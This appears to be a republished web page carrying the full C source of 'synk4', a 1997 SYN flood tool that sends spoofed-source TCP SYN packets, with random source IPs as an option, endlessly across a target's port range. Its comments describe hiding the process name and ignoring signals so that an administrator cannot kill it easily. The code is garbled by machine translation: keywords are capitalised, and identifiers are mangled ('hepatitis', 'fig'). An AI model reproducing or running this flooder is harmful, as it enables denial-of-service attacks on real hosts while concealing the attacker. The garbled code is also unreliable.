Source code of syn-flood of zakath ..

Source: Internet
Author: User
Tags htons

/* SYN flooder by zakath
* TCP functions by trurl _ (thanks man ).
* Some More code by zakath.
* Speed/MISC tweaks/enhancments -- Ultima
* Nice interface -- Ultima
* Random IP spoofing mode -- Ultima
* How to use:
* Usage is simple. srcaddr is the IP the packets will be spoofed from.
* Dstaddr is the target machine you are sending the packets.
* Low and high ports are the ports you want to send the packets.
* Random IP spoofing mode: instead of typing in a source address,
* Just use '0'. This will engage the random IP spoofing mode, and
* The source address will be a random IP instead of a fixed IP.
* Released: [4.29.97]
* To compile: CC-O synk4 synk4.c
*
*/

Code:

# Include <signal. h>
# Include <stdio. h>
# Include <netdb. h>
# Include <sys/types. h>
# Include <sys/time. h>
# Include <netinet/in. h>
# Include <Linux/IP. h>
# Include <Linux/tcp. h>
/* These can be handy if you want to run the flooder while the admin is on
* This way, it makes it much harder for him to kill your flooder */
/* Ignores all signals failed t segfault */
// # Define healthy
/* Ignores segfault */
// # Define nosegv
/* Changes what shows up in PS-Aux to whatever this is defined */
// # Define hidden "vi. cshrc"
# Define seq 0x28376839
# Define getrandom (Min, max) (RAND () % (INT) (max) + 1)-(min) + (min ))

Unsigned long send_seq, ack_seq, srcport;
Char flood = 0;
Int sock, ssock, CURC, CNT;

/* Check sum */
Unsigned short
Ip_sum (ADDR, Len)
U_short * ADDR;
Int Len;
{
Register int nleft = Len;
Register u_short * w = ADDR;
Register int sum = 0;
U_short answer = 0;

While (nleft> 1)
{
Sum + = * w ++;
Nleft-= 2;
}
If (nleft = 1)
{
* (U_char *) (& answer) = * (u_char *) W;
Sum + = answer;
}
Sum = (sum> 16) + (sum & 0 xFFFF);/* Add Hi 16 to low 16 */
Sum + = (sum> 16);/* add carry */
Answer = ~ SUM;/* truncate to 16 bits */
Return (answer );
}
Void sig_exit (INT crap)
{
# Ifndef healthy
Printf ("[H [jsignal caught. exiting cleanly./N ");
Exit (crap );
# Endif
}
Void sig_segv (INT crap)
{
# Ifndef nosegv
Printf ("[H [jsegmentation violation caught. exiting cleanly./N ");
Exit (crap );
# Endif
}

Unsigned long getaddr (char * Name ){
Struct hostent * hepatitis;

Hepatitis = gethostbyname (name );
If (! Windows ){
Fprintf (stderr, "unknown host % s/n", name );
Exit (1 );
}
Return * (unsigned long *) hepatitis-> h_addr;
}

Void send_tcp_segment (struct iphdr * IH, struct tcphdr * th, char * data, int dlen ){
Char Buf [65536];
Struct {/* RFC 793 TCP pseudo-header */
Unsigned long saddr, daddr;
Char mbz;
Char ptcl;
Unsigned short tcpl;
} PH;

Struct sockaddr_in sin;/* how necessary is this, given that the destination
Address is already in the IP header? */

Ph. saddr = ih-> saddr;
Ph. daddr = ih-> daddr;
Ph. mbz = 0;
Ph. ptcl = ipproto_tcp;
Ph. tcpl = htons (sizeof (* th) + dlen );

Memcpy (BUF, & pH, sizeof (ph ));
Memcpy (BUF + sizeof (ph), Th, sizeof (* th ));
Memcpy (BUF + sizeof (ph) + sizeof (* th), data, dlen );
Memset (BUF + sizeof (ph) + sizeof (* th) + dlen, 0, 4 );
Th-> check = ip_sum (BUF, (sizeof (ph) + sizeof (* th) + dlen + 1 )&~ 1 );

Memcpy (BUF, IH, 4 * ih-> IHL );
Memcpy (BUF + 4 * ih-> IHL, Th, sizeof (* th ));
Memcpy (BUF + 4 * ih-> IHL + sizeof (* th), data, dlen );
Memset (BUF + 4 * ih-> IHL + sizeof (* th) + dlen, 0, 4 );

Ih-> check = ip_sum (BUF, (4 * ih-> IHL + sizeof (* th) + dlen + 1 )&~ 1 );
Memcpy (BUF, IH, 4 * ih-> IHL );

Sin. sin_family = af_inet;
Sin. sin_port = th-> DEST;
Sin. sin_addr.s_addr = ih-> daddr;

If (sendto (ssock, Buf, 4 * ih-> IHL + sizeof (* th) + dlen, 0, & sin, sizeof (SIN) <0 ){
Printf ("error sending SYN Packet./N"); perror ("");
Exit (1 );
}
}

Unsigned long spoof_open (unsigned long my_ip, unsigned long their_ip, unsigned short port ){
Int I, S;
Struct iphdr ih;
Struct tcphdr th;
Struct sockaddr_in sin;
Int sinsize;
Unsigned short myport = 6969;
Char Buf [1024];
Struct timeval TV;

Ih. Version = 4;
Ih. IHL = 5;
Ih. TOS = 0;/* XXX is this normal? */
Ih. tot_len = sizeof (IH) + sizeof (th );
Ih. ID = htons (random ());
Ih. frag_off = 0;
Ih. TTL = 30;
Ih. Protocol = ipproto_tcp;
Ih. Check = 0;
Ih. saddr = my_ip;
Ih. daddr = their_ip;

Th. Source = htons (srcport );
Th. DEST = htons (port );
Th. seq = htonl (SEQ );
Th. doff = sizeof (th)/4;
Th. ack_seq = 0;
Th. RES1 = 0;
Th. Fin = 0;
Th. SYN = 1;
Th. rst = 0;
Th. Psh = 0;
Th. ACK = 0;
Th. URG = 0;
/* Th. RES2 = 0; changed !!! */
Th. Window = htons (65535 );
Th. Check = 0;
Th. urg_ptr = 0;

Gettimeofday (& TV, 0 );

Send_tcp_segment (& IH, & th, "", 0 );

Send_seq = seq + 1 + strlen (BUF );
}
Void upsc ()
{
Int I;
Char schar;
Switch (CNT)
{
Case 0:
{
Schar = '| ';
Break;
}
Case 1:
{
Schar = '/';
Break;
}
Case 2:
{
Schar = '-';
Break;
}
Case 3:
{
Schar = '//';
Break;
}
Case 4:
{
Schar = '| ';
CNT = 0;
Break;
}
}
Printf ("[H [1; 30 m [[1; 31 m % C [1; 30 m] [0 m % d", schar, CURC );
CNT ++;
For (I = 0; I <26; I ++ ){
I ++;
CURC ++;
}
}
Void init_signals ()
{
// Every signal known to man. If one gives you an error, comment it out!
Signal (sighup, sig_exit );
Signal (SIGINT, sig_exit );
Signal (sigquit, sig_exit );
Signal (sigill, sig_exit );
Signal (sigtrap, sig_exit );
Signal (sigiot, sig_exit );
Signal (sigbus, sig_exit );
Signal (sigfpe, sig_exit );
Signal (sigkill, sig_exit );
Signal (SIGUSR1, sig_exit );
Signal (SIGSEGV, sig_segv );
Signal (sigusr2, sig_exit );
Signal (sigpipe, sig_exit );
Signal (sigalrm, sig_exit );
Signal (sigterm, sig_exit );
Signal (sigchld, sig_exit );
Signal (sigcont, sig_exit );
Signal (sigstop, sig_exit );
Signal (sigtstp, sig_exit );
Signal (sigttin, sig_exit );
Signal (sigttou, sig_exit );
Signal (sigurg, sig_exit );
Signal (sigxcpu, sig_exit );
Signal (sigxfsz, sig_exit );
Signal (sigvtalrm, sig_exit );
Signal (sigprof, sig_exit );
Signal (sigwinch, sig_exit );
Signal (sigio, sig_exit );
Signal (sigpwr, sig_exit );
}
Main (INT argc, char ** argv ){
Int I, X, Max, floodloop, diff, urip, a, B, c, d;
Unsigned long them, me_fake;
Unsigned lowport, highport;
Char Buf [1024], * junk;

Init_signals ();
# Ifdef hidden
For (I = argc-1; I> = 0; I --)
/* Some people like bzero... I prefer memset */
Memset (argv [I], 0, strlen (argv [I]);
Strcpy (argv [0], hidden );
# Endif

If (argc <5 ){
Printf ("Usage: % s srcaddr dstaddr low high/N", argv [0]);
Printf ("If srcaddr is 0, random addresses will be used/n ");

Exit (1 );
}
If (atoi (argv [1]) = 0)
Urip = 1;
Else
Me_fake = getaddr (argv [1]);
Them = getaddr (argv [2]);
Lowport = atoi (argv [3]);
Highport = atoi (argv [4]);
Srandom (time (0 ));
Ssock = socket (af_inet, sock_raw, ipproto_raw );
If (ssock <0 ){
Perror ("socket (raw )");
Exit (1 );
}
Sock = socket (af_inet, sock_raw, ipproto_tcp );
If (sock <0 ){
Perror ("socket ");
Exit (1 );
}
Junk = (char *) malloc (1024 );
Max = 1500;
I = 1;
Diff = (highport-lowport );

If (diff>-1)
{
Printf ("[H [J/n/ncopyright (c) 1980,198 3, 1986,198 8, 1990,199 1 the Regents of the University/N of California. All Rights Reserved .");
For (I = 1; I> 0; I ++)
{
Srandom (time (0) + I ));
Srcport = fig (1, max) + 1000;
For (x = lowport; x <= highport; X ++)
{
If (urip = 1)
{
A = getrandom (0,255 );
B = getrandom (0,255 );
C = getrandom (0,255 );
D = getrandom (0,255 );
Sprintf (junk, "% I. % I", A, B, C, D );
Me_fake = getaddr (junk );
}
 
Spoof_open (/* 0xe1e26d0a */me_fake, them, X );
/* A fair delay. Good for a 28.8 connection */
Usleep (300 );
 
If (! (Floodloop = (floodloop + 1) % (diff + 1 ))){
Upsc (); fflush (stdout );
}
}
}
}
Else {
Printf ("high port must be greater than low port./N ");
Exit (1 );
}
}

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.